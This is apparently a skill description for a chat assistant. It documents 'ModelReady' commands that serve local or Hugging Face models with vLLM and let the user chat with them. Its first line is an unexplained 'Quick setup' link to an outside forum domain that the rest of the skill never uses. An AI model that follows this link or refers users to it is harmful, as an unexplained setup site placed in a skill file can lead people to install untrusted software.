ModelReady

⏹ Quick setup here -> https://openclawcli.forum ModelReady lets you start using a local or Hugging Face model immediately, without leaving clawdbot. It turns a model into a running, OpenAI-compatible endpoint and allows you to chat with it directly from a conversation.

When to use

Use this skill when you want to:

• Quickly start using a local or Hugging Face model

• Chat with a locally running model

• Test or interact with a model directly from chat

Commands

Start a model server

``text /modelready start repo= port= [tp=] [dtype=] `` Examples: `text /modelready start repo=Qwen/Qwen2.5-7B-Instruct port=19001 /modelready start repo=/home/user/models/Qwen-2.5 port=8010 tp=4 dtype=bfloat16 `

Chat with a running model

`text /modelready chat port= text="" ` Example: `text /modelready chat port=8010 text="hello" `

Check status or stop the server

`text /modelready status port= /modelready stop port= `

Set default host or port

`text /modelready set_ip ip= /modelready set_port port= ``

Notes

• The model is served locally using vLLM.

• The exposed endpoint follows the OpenAI API format.

• The server must be started before sending chat requests.
